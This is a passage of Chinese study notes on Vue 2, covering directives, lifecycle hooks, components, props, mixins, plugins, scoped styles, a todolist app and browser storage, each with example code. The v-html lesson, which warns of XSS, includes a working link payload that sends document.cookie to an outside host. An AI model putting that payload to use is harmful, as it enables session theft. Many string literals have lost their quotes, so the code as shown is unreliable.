v-text指令： 1.作用：向其所在的节点中渲染文本内容 2.与插值语法的区别：v-text会替换掉节点中的全部内容，{{xxx}}不会 <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link rel="shortcut icon" href="./image/logo.ico" type="image/x-icon"> <title></title> <script src="./vue.js"></script> <style> </style> </head> <body> <div id="root"> <div>你好，{{name}}</div> <div v-text="str">hello</div> </div> <script type="text/javascript"> const vm=new Vue({ el:#root, data:{ name:亚托莉, str:时间啊，你是多么的美丽, }, }) </script> </body> </html>

2.v-html

v-html指令 1.作用：向指定节点中渲染包含HTML结构的内容 2.与插值语法的区别：（1）v-html会替换节点中所有的内容，{{xx}}则不会（2）v-html可以识别HTML结构 3.严重注意：v-html有安全性问题（1）在网站上动态渲染任意HTML是十分危险的，容易导致xss攻击（2）一定要在可信的内容上使用v-html，永不要用在用户提交的内容上 <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link rel="shortcut icon" href="./image/logo.ico" type="image/x-icon"> <title></title> <script src="./vue.js"></script> <style> </style> </head> <body> <div id="root"> <div>你好，{{name}}</div> <div v-text="str1">hello</div> <div v-html="str2"></div> <div v-html="str3"></div> </div> <script type="text/javascript"> const vm=new Vue({ el:#root, data:{ name:亚托莉, str1:时间啊，你是多么的美丽, str2:<h1>你好</h1>, str3:<a href=JavaScript:location.href="http://www.baidu.com?"+document.cookie>盗取本网页cookie</a> }, }) </script> </body> </html>

v-cloak

v-cloak（没有值） 1.本质是一个特殊属性，vue实例完毕并接管容器后，会删掉v-cloak属性 2.使用css配合v-cloak可以解决网速慢时页面显示{{xxx}}的问题 <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link rel="shortcut icon" href="./image/logo.ico" type="image/x-icon"> <title></title> <script src="./vue.js"></script> <style> /* 为vue为到达前将有cloak属性的标签隐藏起来 */ [cloak]{ display: none; } </style> </head> <body> <div id="root"> <div v-cloak >你好，{{name}}</div> <div v-text="str1" v-cloak>hello</div> </div> <script> const vm=new Vue({ el:#root, data:{ name:亚托莉, str1:时间啊，你是多么的美丽, }, }) </script> </body> </html>

3.v-once

v-once指令： 1.v-once所在节点在初次动态渲染后，就视为静态内容了 2.以后数据的改变不会引起v-once所在结构的更新，可以用于优化性能 <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link rel="shortcut icon" href="./image/logo.ico" type="image/x-icon"> <title></title> <script src="./vue.js"></script> <style> /* 为vue为到达前将有cloak属性的标签隐藏起来 */ [cloak]{ display: none; } </style> </head> <body> <div id="root"> <h2 v-once>初始化的n值为{{n}}</h2> <h2>当前的n值为{{n}}</h2> <button @click="n++">点我n+1</button> </div> <script> const vm=new Vue({ el:#root, data:{ n:1 }, }) </script> </body> </html>

4.v-pre

v-pre指令： 1.跳过其所在节点的编译 2.可以利用它跳过：没有使用指令语法，没有使用插值语法的节点，会加快编译 <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link rel="shortcut icon" href="./image/logo.ico" type="image/x-icon"> <title></title> <script src="./vue.js"></script> <style> </style> </head> <body> <div id="root"> <h2 v-pre>v-pre跳过编译</h2> <h2 v-once v-pre>初始化的n值为{{n}}</h2> <h2>当前的n值为{{n}}</h2> <button @click="n++">点我n+1</button> </div> <script> const vm=new Vue({ el:#root, data:{ n:1 }, }) </script> </body> </html>

30.自定义指令-函数式和对象式

自定义指令总结：一、定义语法： (1)局部指令： new Vue({ directives:{指令名：配置对象} }) 或 new Vue({ directves(){} }) (2)全局指令： Vue.directive(指令名，配置对象)或Vue.directive(指令名，回调函数) 二、配置对象中常用的3个回调：（1）bind:指令与元素成功绑定时调用（2）inserted:指令所在元素被插入页面时调用（3）update:指令所在模板被重新时调用。三、备注： 1.指令定义时不加v-，但使用时要加v- 2.指令名如果是多个单词，要使用Kebab-case命名方式，不要用camelCase命名 <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link rel="shortcut icon" href="./image/logo.ico" type="image/x-icon"> <title></title> <script src="./vue.js"></script> <style> </style> </head> <body>  <div id="root"> <h1>{{str}}</h1> <h2>当前的n值是：<span v-text="n"></span></h2> <h2>放大10倍后的n值是：<span v-big="n">放大10倍后的n值是：</span></h2> <button @click="n++">点我n+1</button> <hr> <input type="text" v-fbind:value="n"> </div> <script> const vm=new Vue({ el:#root, data:{ str:时间啊，你是多么的美丽, n:1 }, directives:{ // big函数何时会被调用？1.指令于元素成功绑定时（一上来）2.指令所在的模板被重新解析时 big(element,binding){ console.log(big被调用) element.innerText=binding.value*10 }, fbind:{ // 指令于元素成功绑定时（一上来） bind(element,binding){ element.value=binding.value }, // 指令所在元素被插入页面时 inserted(element,binding){ element.focus() }, // 指令所在的模板被重新解析时 update(element,binding){ element.value=binding.value } } } }) </script> </body> </html>

31.引出生命周期

声明周期： 1.又名生命周期回调函数，生命周期钩子 2.是什么：Vue在关键时刻帮我们调用的一些特殊名称的函数 3.生命周期函数的名字不可更改，但函数的具体内容是程序员更加需求编写的。 4.生命周期函数中的this指向是vm或组件实例对象 <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link rel="shortcut icon" href="./image/logo.ico" type="image/x-icon"> <title></title> <script src="./vue.js"></script> <style> </style> </head> <body> <div id="root"> <h2 v-if="a">hello</h2> <h1 :style="{opacity}">{{str}}</h1> </div> <script> const vm= new Vue({ el:#root, data:{ str:时间啊，你是多么的美丽, opacity:1, a:false }, // Vue完成模板的解析并把初始的真实DOM元素放入页面后（挂载完毕）调用mounted mounted() { alert(mounted函数被调用了) setInterval(()=>{ vm.opacity-=0.01 if(vm.opacity<=0) vm.opacity=1 },16) }, }) // 通过外部的定时器实现（不推荐） /* setInterval(()=>{ vm.opacity-=0.01 if(vm.opacity<=0) vm.opacity=1 },16) */ </script> </body> </html>

（就算是后面a的值发生改变，模板重新解析，mounted函数也没有再次调用）

32.生命周期

VM的生命周期将要创建====>调用beforeCreate函数创建完毕====>调用created函数将要挂载====>调用beforeMount函数（重要）挂载完毕====>调用mounted函数将要更新====>调用beforeUpdate函数更新完毕====>调用updated函数（重要）将要销毁====>调用beforeDestroy函数销毁完毕====>调用destroyed函数常见的生命周期钩子 1.mounted：发送Ajax请求，启动定时器，绑定自定义事件，订阅消息等[初始化操作] 2.beforeDestroy：清除定时器，解绑自定义事件，取消订阅消息等[收尾工作] 关于销毁Vue实例 1.销毁后借助Vue开发中工具看不到任何消息 2.销毁后自定义事件会失效，但原生DOM事件依然有效 3.一般不会在beforeDestroy操作数据，因为即使操作数据，也不会在触发更新流程了 <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link rel="shortcut icon" href="./image/logo.ico" type="image/x-icon"> <title></title> <script src="./vue.js"></script> <style> </style> </head> <body> <div id="root"> <h1 :style="{opacity}">{{str}}</h1> <button @click="stop">点我停止变换</button> <button @click="opacity=1">点我透明度变为一</button> </div> <script> const vm= new Vue({ el:#root, data:{ str:时间啊，你是多么的美丽, opacity:1, }, mounted() { this.timer= setInterval(()=>{ vm.opacity-=0.01 if(vm.opacity<=0) vm.opacity=1 },16) }, methods: { stop(){ this.$destroy() } }, beforeDestroy() { console.log(vm即将被销毁) clearInterval(this.timer) }, }) </script> </body> </html>

（销毁vm实例）

33.组件的理解

34.非单文件组件

Vue中使用组件的三大步骤： 1.定义组件（创建组件） 2.注册组件 3.使用组件（写组件标签）一、如何定义一个组件？使用Vue.extend(options)创建，其中options和New Vue（option）时传入的那个option几乎一样，但也有点区别： 1.el不要写，为什么？最终所有组件都要经过一个vm的管理，由VM中的el决定服务哪个容器 2.data必须写出函数，为什么？——————避免组件被复用时，数据存在引用关系备注：使用template可以配置组件结构二、如何注册组件 1.局部注册：靠new Vue的时候传入components选项 2.全局注册：靠Vue.component(组件名,组件) 三、编写组件标签 <组件名><组件名/> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link rel="shortcut icon" href="./image/logo.ico" type="image/x-icon"> <title></title> <script src="./vue.js"></script> <style> </style> </head> <body> <div id="root"> <h2>{{msg}}</h2>  <school></school> <hr>  <student></student> <student></student> </div> <div id="root2"> <hello></hello> </div> <script> // 第一步：创建school组件 const school=Vue.extend({ // el:#root,组件定义时，一定不要写el配置项，因为最终所有的组件都要被一个vm管理，由vm决定服务哪个容器 template:` <div> <h2>学校名称：{{schoolName}}</h2> <h2>学校地址：{{address}}</h2> <button @click="showName">点我提示学校名</button> </div> `, data(){ return{ schoolName:尚硅谷, address:上海, } }, methods: { showName(){ alert(this.schoolName) } }, }) // 第一步：创建student组件 const student=Vue.extend({ template:` <div> <h2>学生姓名：{{studentName}}</h2> <h2>学生年龄：{{age}}</h2> </div> `, data(){ return { studentName:张三, age:18 } } }) const vm= new Vue({ el:#root, data:{ msg:hello! }, // 第二部：注册组件（局部注册） components:{ school:school, student:student } }) //定义全局组件 const hello=Vue.extend({ template:` <div> <h2>你好啊！{{name}}</h2> </div> `, data(){ return{ name:tom } } }) // 第二步：全局注册组件 Vue.component(hello,hello) new Vue({ el:#root2, }) </script> </body> </html>

35.组件的几个注意点

几个注意点： 1.关于组件名：一个单词组成：第一种写法（首字母小写）：school 第二种写法（首字母大写）：School 多个单词组成：第一种写法（kebab-case）:my-school,要用引号包裹注册第二种写法（CamelCase）:MySchool(需要Vue脚手架支持) 备注：（1）组件名尽可能回避HTML中已有的元素名称（2）可以使用name配置项指定组件在开发中工具中呈现的名字 2.关于组件标签第一种写法：<school></school> 第二种写法：<school/> 备注：不使用脚手架时，<school/>会导致后续组件不能渲染 3.一个简写方式： const school=Vue.extend(options)看简写为：const school=options <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link rel="shortcut icon" href="./image/logo.ico" type="image/x-icon"> <title></title> <script src="./vue.js"></script> <style> </style> </head> <body> <div id="root"> <h2>{{msg}}</h2> <my-school></my-school> </div> <div id="root2"> <hello></hello> </div> <script> const school={ name:xuexiao, template:` <div> <h2>学校名称：{{schoolName}}</h2> <h2>学校地址：{{address}}</h2> <button @click="showName">点我提示学校名</button> </div> `, data(){ return{ schoolName:尚硅谷, address:上海, } }, methods: { showName(){ alert(this.schoolName) } }, } const vm= new Vue({ el:#root, data:{ msg:hello! }, components:{ my-school:school, } }) </script> </body> </html>

36.组件的嵌套

<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link rel="shortcut icon" href="./image/logo.ico" type="image/x-icon"> <title></title> <script src="./vue.js"></script> <style></style> </head> <body> <div id="root"> <app></app> </div> <script> const student={ template:` <div> <h2>{{name}}</h2> <h2>{{age}}</h2> </div> `, data(){ return{ name:tom, age:18 } } } const school={ name:xuexiao, template:` <div> <h2>学校名称：{{schoolName}}</h2> <h2>学校地址：{{address}}</h2> <button @click="showName">点我提示学校名</button> <student></student> </div> `, data(){ return{ schoolName:尚硅谷, address:上海, } }, methods: { showName(){ alert(this.schoolName) } }, components:{ student } } const hello=Vue.extend({ template:` <h1>{{msg}}</h1> `, data(){ return{ msg:欢迎来到尚硅谷学习 } } }) const app=Vue.extend({ template:` <div> <hello></hello> <school></school> </div> `, components:{ school:school, hello } }) const vm= new Vue({ el:#root, data:{ msg:hello! }, components:{ app } }) </script> </body> </html>

37.Vuecomponent

关于VueComponent 1.school组件本质是应该名为Vuecomponent的构造函数，且不是程序员定义的，是Vue 。extend生成的 2.我们只需要写<school></school>或<school> ，Vue解析时会帮我们创建school组件的实例对象，即Vue帮我们执行的：new VueComponent(options) 3.特别注意：每次调用Vue.extend,返回的都是一个全新的Vuecomponent 4.关于this指向：（1）组件配置中： data函数，methods中的函数,watch中的函数,computed中的函数，它们的this均是[VueComponent实例对象] （2）new Vue(options)配置中： data函数，methods中的函数,watch中的函数,computed中的函数，它们的this均是[Vue实例对象] 5.VueComponent的实例对象，以后简称VC（也可以简称为：组件实例对象）

38.Vuecomponent和Vue的内置关系

1.一个重要的内置关系：VueComponent.prototype.__proto===Vue.prototype 2.为什么要有这个关系：让组件实例对象（vc）可以访问到Vue原型上的属性和方法

39.单文件组件

单文件组件要配合vue脚手架使用

# mian.js文件 import Vue from vue import App from ./app.vue Vue.config.productionTip = false new Vue({ render: h => h(App), }).$mount(#app) #.vue文件,这个是app.vue <template> <div> <img src="./assets/logo.png" alt="logo"> <school></school> <student></student> </div> </template> <script> // 引入组件 import school from ./components/school.vue import student from ./components/student.vue export default { name:app, components:{ school, student } } </script> #student.vue文件 <template>  <div class="demo"> <h2>学生姓名：{{name}}</h2> <h2>学校年龄：{{age}}</h2> </div> </template> <script> // 组件交互相关的代码（数据，方法等） export default { data(){ return{ name:Tom, age:18, } }, } </script> #school.vue文件 <template>  <div class="demo"> <h2>学校名称：{{SchoolName}}</h2> <h2>学校地址：{{address}}</h2> <button @click="showName">点我提示学校名</button> </div> </template> <script> // 组件交互相关的代码（数据，方法等） export default { data(){ return{ SchoolName:尚硅谷, address:上海, } }, methods: { showName(){ alert(this.SchoolName) } }, } </script> <style> /* 组件的样式 */ .demo{ background-color: orange; } </style>

在vue脚手架文件夹命令行输入npm run serve,运行编译，得到本地服务器地址和局域网地址

40.render函数

关于不同版本的Vue： 1.vue.js与vue.runtime.xxx.js的区别 (1)vue.js是完整版的Vue ，包含：核心功能+模板解析器（2）vue.runtime.xxx.js是运行版的Vue ，只包含：核心功能，没有模板解析器 2.因为vue.runtime.xxx.js没有模板解析器，所以不能使用template配置项，需要使用render函数接收到的createElement函数去指定具体函数

41.ref属性

ref属性： 1.被用来给元素或子组件注册引用信息（id的代替者） 2.应用在HTML标签上获取的是真实dom元素，应用在组件标签上是组件实例对象（vc） 3.使用方法：打标识：<h1 ref="xxxx></h1>或<school ref="xxx"></school> 获取：this.$refs.xxx <template> <div> <h1 v-text="msg" ref="title"></h1> <button @click="showDom">点我输出上方的Dom元素</button> <school ref="sch"></school> <student></student> </div> </template> <script> // 引入组件 import school from ./components/school.vue import student from ./components/student.vue export default { name:app, data() { return { msg:欢迎学习Vue！ } }, components:{ school, student }, methods: { showDom(){ console.log(this.$refs.title)//真实dom对象 console.log(this.$refs.sch)//school组件的实例对象 } }, } </script>

42.props配置

配置项props 功能：让组件接收外部传入过来的数据（1）传递数据: <demo name=xxx> (2) 接收数据：第一种方式（只接受） props[name] 第二种方式（限制类型） props:{ name:String } 第三种方式：（限制类型，限制必要性，指定默认值） props:{ name:{ type:String,//类型 required:true//必要性 default:张三//默认值 } } 备注：props是只读的，Vue底层会监测你对props的修改，如果进行了修改，就会发出警告，若业务需求确实需要修改，那么请复制props的内容到data中一份，然后去修改data中的数据 <template> <div> <student name="tom" :age=18 sex="male"></student> <student name="erika" :age=19 sex="female"></student> </div> </template> <script> // 引入组件 import school from ./components/school.vue import student from ./components/student.vue export default { name:app, data() { return { } }, components:{ school, student }, } </script> <template>  <div class="demo"> <h1>{{msg}}</h1> <h2>学生姓名：{{name}}</h2> <h2>学生年龄：{{myAge+1}}</h2> <button @click="updateAge">尝试修改收到的年龄</button> <h2>性别：{{sex}}</h2> </div> </template> <script> export default { data(){ return{ msg:我是一个学生, myAge:this.age } }, // 简单声明接收 // props:[name,age,sex] // 接收的同时对数据进行类型限制 /* props:{ name:String, age:Number, sex:String } */ // 接收的同时对数据进行类型限制+默认值的指定+必要性的限制 props:{ name:{ type:String, //name的类型是字符串 required:true, //name是必要的 }, age:{ type:Number, default:99 //默认值 }, sex:{ type:String, required:true } }, methods:{ updateAge() { this.myAge++ }, } } </script>

43.mixin混入

mixin(混入) 功能：可以把多个组件共有的配置提取成一个混入对象使用方法：第一步：定义混入，例如 { data(){.....}, method(){.....} } 第二步：使用混入，例如：（1）全局混入：Vue.mixin(xxx) (2) 局部混入：mixins:[xxx] 备注：使用混入加入数据时，原有的数据不会改变 //main.js文件 import Vue from vue import App from ./app.vue import {hunhe2,mixin} from ./components/mixin // 关闭Vue的生产提示 Vue.config.productionTip = false // 全局混合 Vue.mixin(hunhe2) Vue.mixin(mixin) new Vue({ render: h => h(App), // template:{App} }).$mount(#app) //混合函数mixin.js export const mixin = { methods: { showName(){ alert(this.name) } }, } export const hunhe2={ data() { return { x:100, y:200 } }, } //student.vue组件 <template>  <div class="demo"> <h2 @click="showName">学生姓名：{{name}}</h2> <h2>性别：{{sex}}</h2> </div> </template> <script> // 局部混合 // import { mixin,hunhe2} from ./mixin export default { data(){ return{ name:张三, sex:male, x:666 } }, // mixins:[mixin,hunhe2] } </script> //school.vue组件 <template>  <div class="demo"> <h2 @click="showName">学校名称：{{name}}</h2> <h2>学校地址：{{address}}</h2> </div> </template> <script> // 局部混合 // import {mixin,hunhe2} from ./mixin export default { data(){ return{ name:尚硅谷, address:上海, } }, // mixins:[mixin,hunhe2] } </script> <style> /* 组件的样式 */ .demo{ background-color: orange; } </style>

44.插件

插件功能：用于增强Vue 本质：包含install方法的一个对象，install的第一个参数是Vue ，第二个以后的参数是插件使用者传递的值定义插件：对象.install=function(Vue,options){ //1.添加全局过滤器 Vue.filter(......) //2.添加全局指令 Vue.directive(.....) //3.配置全局混入 Vue.mixin(....) //4.添加实例方法 Vue.prototype.$mymethod=function(){...} Vue.prototype.$myProperty=xxxx } 使用插件：Vue.use(插件文件名) //定义插件 import Vue from "vue" export default { install(){ Vue.filter(mySlice,function(value){ return value.slice(0,4) }), Vue.filter({ data() { return{ x:100, y:200 } } }) } } //注册插件 import Vue from vue import App from ./app.vue import plugins from ./plugins // 关闭Vue的生产提示 Vue.config.productionTip = false // 使用插件 Vue.use(plugins) new Vue({ render: h => h(App), // template:{App} }).$mount(#app) //使用插件 <template>  <div class="demo"> <h2 >学校名称：{{name|mySlice}}</h2> <h2>学校地址：{{address}}</h2> </div> </template> <script> export default { data(){ return{ name:尚硅谷atgui, address:上海, } }, } </script> <style> /* 组件的样式 */ .demo{ background-color: orange; } </style>

45.scoped

scoped样式作用：让同名样式在局部生效，防止冲突写法：<style scoped> //app.vue <template> <div class="demo"> <school></school> <student ></student> </div> </template> <script> // 引入组件 import school from ./components/school.vue import student from ./components/student.vue export default { name:app, data() { return { } }, components:{ school, student }, } </script> <style lang="less"> // 使用less语法 .demo{ background-color: greenyellow; #forId{ font-size: 50px; } } </style> //school.vue <template>  <div class="demo"> <h2 >学校名称：{{name}}</h2> <h2 id=forId>学校地址：{{address}}</h2> </div> </template> <script> export default { data(){ return{ name:尚硅谷atgui, address:上海, } }, } </script> <style scoped> .demo{ background-color: red; } </style> //student.vue <template>  <div class="demo"> <h2 >学生姓名：{{name}}</h2> <h2>性别：{{sex}}</h2> </div> </template> <script> export default { data(){ return{ name:张三, sex:male, } }, } </script> <style scoped> .demo{ background-color: aqua; } </style>

(通过给同名加属性实现区分)

46.todolist案例

1.组件化编码流程：（1）拆分静态组件：组件要按照功能点拆分，命名不与HTML元素冲突 (2)实现动态组件：考虑好数据的存放位置，数据是一个组件在用，还是一些组件在用 1.一个组件在用：放在组件自身即可 2.一些组件在用：放在它们共同的父组件上（状态提升） 3.实现交互：从绑定事件开始 2.props适用于（1）父组件===>子组件通信（2）子组件===>父组件（要求父先给子一个函数） 3.使用v-model时要切记：v-model绑定的值不能是props传过来的值，因为props是不可修改的 4.props传过来的若是对象的值，修改对象中的属性时Vue不会报错，但不推荐 //app.vue <template> <div class="todo-container"> <Header :addTodo="addTodo"></Header> <List :todos="todos" :checkTodo="checkTodo" :deleteTodo="deleteTodo"></List> <Footer :todos="todos" :checkAllTodo="checkAllTodo" :clearAllTodo="clearAllTodo"></Footer> </div> </template> <script> import Header from ./components/testHeader.vue import Footer from ./components/testFooter.vue import List from ./components/testList.vue export default { name:app, components:{Header,Footer,List}, data() { return { todos:[ {id:001,title:吃饭,done:true}, {id:002,title:喝酒,done:false}, {id:003,title:开车,done:false} ] } }, methods:{ // 添加一共todo addTodo(todoObj){ this.todos.unshift(todoObj) }, // 勾选或者取消勾选一个todo checkTodo(id){ this.todos.forEach((todo)=>{ if(todo.id===id) todo.done=!todo.done }) }, // 删除一个todo deleteTodo(id){ console.log(id) this.todos=this.todos.filter((todo)=>{ return todo.id!==id }) }, // 全选or取消全选 checkAllTodo(done){ this.todos.forEach((todo)=>{ todo.done=done }) }, // 清除所有已经完成的todo clearAllTodo(){ this.todos=this.todos.filter((todo)=>{ return !todo.done }) } } } </script> <style > body{ background: #fff; } .btn{ display: inline-block; padding: 4px 12px; margin-bottom: 0; font-size: 14px; line-height: 20px; text-align: center; vertical-align: middle; cursor: pointer; box-shadow: insert 0 1px 0 rgba(255, 255, 255, 0.2),1px 2px rgba(0, 0, 0, 0.2); border-radius: 4px; } .btn-danger{ color: #fff; background-color: rgb(226, 122, 122); border: 1px solid pink; } .btn-danger:hover{ color: #fff; background-color: red; } .btn:focus{ outline: none; } .todo-container{ width: 600px; margin: 0 auto; padding: 10px; border: 1px solid #ddd; border-radius: 5px; } </style> //header.vue <template> <div class="todo-header"> <input type="text" placeholder="请输入你的任务，按下回车确定" v-model="title" @keyup.enter="add"> </div> </template> <script> import {nanoid} from nanoid export default { name:testHeader, props:[addTodo], data() { return { title: } }, methods:{ add(event){ // 校验数据 if(!this.title.trim())return alert("输入不能为空") //将用户输入包装成一个todo对象 const todoObj ={id:nanoid(),title:event.target.value,done:false} // 通知app组件去添加一个todo对象 this.addTodo(todoObj) // 清空输入 this.title= } } } </script> <style scoped> .todo-header{ width: 560px; height: 28px; font-size: 14px; border-radius: 4px; padding: 4px 7px; } .todo-header input:focus{ outline: none; border-color: rgb(96, 139, 219); box-shadow: 5px 10px black 0.3; } </style> //List.vue <template> <ul class="todo-main"> <myItem v-for="todoObj in todos" :key="todoObj.id" :todo="todoObj" :checkTodo="checkTodo" :deleteTodo="deleteTodo"></myItem> </ul> </template> <script> import myItem from ./testItem.vue export default { name:testList, components:{myItem}, props:[todos,checkTodo,"deleteTodo"] } </script> <style scoped> .todo-main{ margin-left: 0px; border: 1px solid #ddd; border-radius: 2px; padding: 0px; } .todo-empty{ height: 40px; line-height: 40xp; border: 1px solid #ddd; border-radius:2px ; padding-left: 5px; margin-top: 10px; } </style> //item.vue <template> <li> <label >   <input type="checkbox" :checked="todo.done" @change="handCheck(todo.id)"> <span>{{todo.title}}</span> </label> <button class="btn btn-danger" @click="handleDelete(todo.id)">删除</button> </li> </template> <script> export default { name:MyItem, // 声明接收todo对象 props:[todo,"checkTodo",deleteTodo], methods: { handCheck(id){ // 通知app组件将对应的todo对象的done值取反 this.checkTodo(id) }, handleDelete(id){ if(confirm("确定要删除吗？")){ this.deleteTodo(id) } } }, } </script> <style scoped> li{ list-style: none; height: 36px; line-height: 36px; padding: 0 5px; border-bottom: 1px solid #ddd; } li label{ float: left; cursor: pointer; } li label li input{ vertical-align: middle; margin-right: 6px; position: relative; top: -1px; } li button{ float: right; display: none; margin-top: 3px; } li:before{ content: initial; } li:last-child{ border-bottom: none; } li:hover{ background-color: #ddd; } li:hover button{ display: block; } </style> //footer.vue <template> <div class="todo-footer" v-show="total"> <label > <input type="checkbox" :checked="isAll" @change="checkAll"> </label> <span> <span>已完成{{doneTotal}}</span>/全部{{total}} </span> <button class="btn btn-danger" @click="clearAll">清除已完成任务</button> </div> </template> <script> export default { name:testFooter, props:[todos,checkAllTodo,clearAllTodo], computed:{ total(){ return this.todos.length }, doneTotal(){ let i=0 this.todos.forEach((todo)=>{ if(todo.done) i++ }) return i }, isAll(){ return this.doneTotal==this.total && this.total>0 }, }, methods:{ checkAll(e){ this.checkAllTodo(e.target.checked) }, clearAll(){ this.clearAllTodo() } } } </script> <style scoped> .todo-footer{ height: 40px; line-height: 40px; padding-left: 6px; margin-top: 5px; } .todo-footer label{ display: inline-block; margin-right: 20px; cursor: pointer; } .todo-footer label input{ position: relative; top: -1px; vertical-align: middle; } .todo-footer button{ float: right; margin-top: 5px; } </style>

47.浏览器本地存储

1.存储内容大小一般支持5MB左右 2.浏览器端通过Window.sessionStorage和Window.localStorage属性来实现本地存储机制 3.相关api: (1) xxxxxStorage.setItem(key,value); 该方法接收一个键和值作为参数，会把键值对添加到存储中，如果键名存在，则更新其对应的值 (2) xxxxxStorage.getItem(key,value); 该方法接收一个键名作为参数，返回键名对应的值 (3) xxxxxStorage.removeItem(key,value); 该方法接收一个键名作为参数，并把该键名从存储中删除 (4) xxxxStorage.clear() 该方法会清空存储中所有的数据 4.备注（1）sessionStorage存储的内容会随着浏览器窗口关闭而消失（2）LocalStorage存储的内容，需要手动清除才会消失（3）xxxxStorage.getItem(xx)如果xxx对应的value获取不到，那么getItem的返回值是null （4）JSON.parse(null)的结果依然是null <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>localStorage</title> </head> <body> <h2>localStorage</h2> <button οnclick="saveDate()">点我保存一个数据</button> <button οnclick="readDate()">点我读取一个数据</button> <button οnclick="deleteDate()">点我删除一个数据</button> <button οnclick="deleteAllDate()">点我清空数据</button> <script> let p={name:tom,age:18} let msg; function saveDate(){ window.localStorage.setItem(msg,666); localStorage.setItem(person,JSON.stringify(p)) } function readDate(){ alert(window.localStorage.getItem(msg,666)) ; const result=localStorage.getItem(person) console.log(JSON.parse(result)) } function deleteDate(){ window.localStorage.removeItem(msg) } function deleteAllDate(){ localStorage.clear(); } </script> </body> </html>

（控制浏览器本地存储）

<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>sessionStorage</title> </head> <body> <h2>sessionStorage</h2> <button οnclick="saveDate()">点我保存一个数据</button> <button οnclick="readDate()">点我读取一个数据</button> <button οnclick="deleteDate()">点我删除一个数据</button> <button οnclick="deleteAllDate()">点我清空数据</button> <script> let p={name:tom,age:18} let msg; function saveDate(){ window.sessionStorage.setItem(msg,666); sessionStorage.setItem(person,JSON.stringify(p)) } function readDate(){ alert(window.sessionStorage.getItem(msg,666)) ; const result=sessionStorage.getItem(person) console.log(JSON.parse(result)) } function deleteDate(){ window.sessionStorage.removeItem(msg) } function deleteAllDate(){ sessionStorage.clear(); } </script> </body> </html>

48.todolist的本地存储

/ <template> <div class="todo-container"> <Header :addTodo="addTodo"></Header> <List :todos="todos" :checkTodo="checkTodo" :deleteTodo="deleteTodo"></List> <Footer :todos="todos" :checkAllTodo="checkAllTodo" :clearAllTodo="clearAllTodo"></Footer> </div> </template> <script> import Header from ./components/testHeader.vue import Footer from ./components/testFooter.vue import List from ./components/testList.vue export default { name:app, components:{Header,Footer,List}, data() { return { todos:JSON.parse(localStorage.getItem(todos)) ||[] } }, methods:{ // 添加一共todo addTodo(todoObj){ this.todos.unshift(todoObj) }, // 勾选或者取消勾选一个todo checkTodo(id){ this.todos.forEach((todo)=>{ if(todo.id===id) todo.done=!todo.done }) }, // 删除一个todo deleteTodo(id){ console.log(id) this.todos=this.todos.filter((todo)=>{ return todo.id!==id }) }, // 全选or取消全选 checkAllTodo(done){ this.todos.forEach((todo)=>{ todo.done=done }) }, // 清除所有已经完成的todo clearAllTodo(){ this.todos=this.todos.filter((todo)=>{ return !todo.done }) } }, watch:{ todos:{ deep:true, handler(value){ localStorage.setItem(todos,JSON.stringify(value)) } } }, } </script> <style > body{ background: #fff; } .btn{ display: inline-block; padding: 4px 12px; margin-bottom: 0; font-size: 14px; line-height: 20px; text-align: center; vertical-align: middle; cursor: pointer; box-shadow: insert 0 1px 0 rgba(255, 255, 255, 0.2),1px 2px rgba(0, 0, 0, 0.2); border-radius: 4px; } .btn-danger{ color: #fff; background-color: rgb(226, 122, 122); border: 1px solid pink; } .btn-danger:hover{ color: #fff; background-color: red; } .btn:focus{ outline: none; } .todo-container{ width: 600px; margin: 0 auto; padding: 10px; border: 1px solid #ddd; border-radius: 5px; } </style>

49.组件自定义事件-绑定和解绑

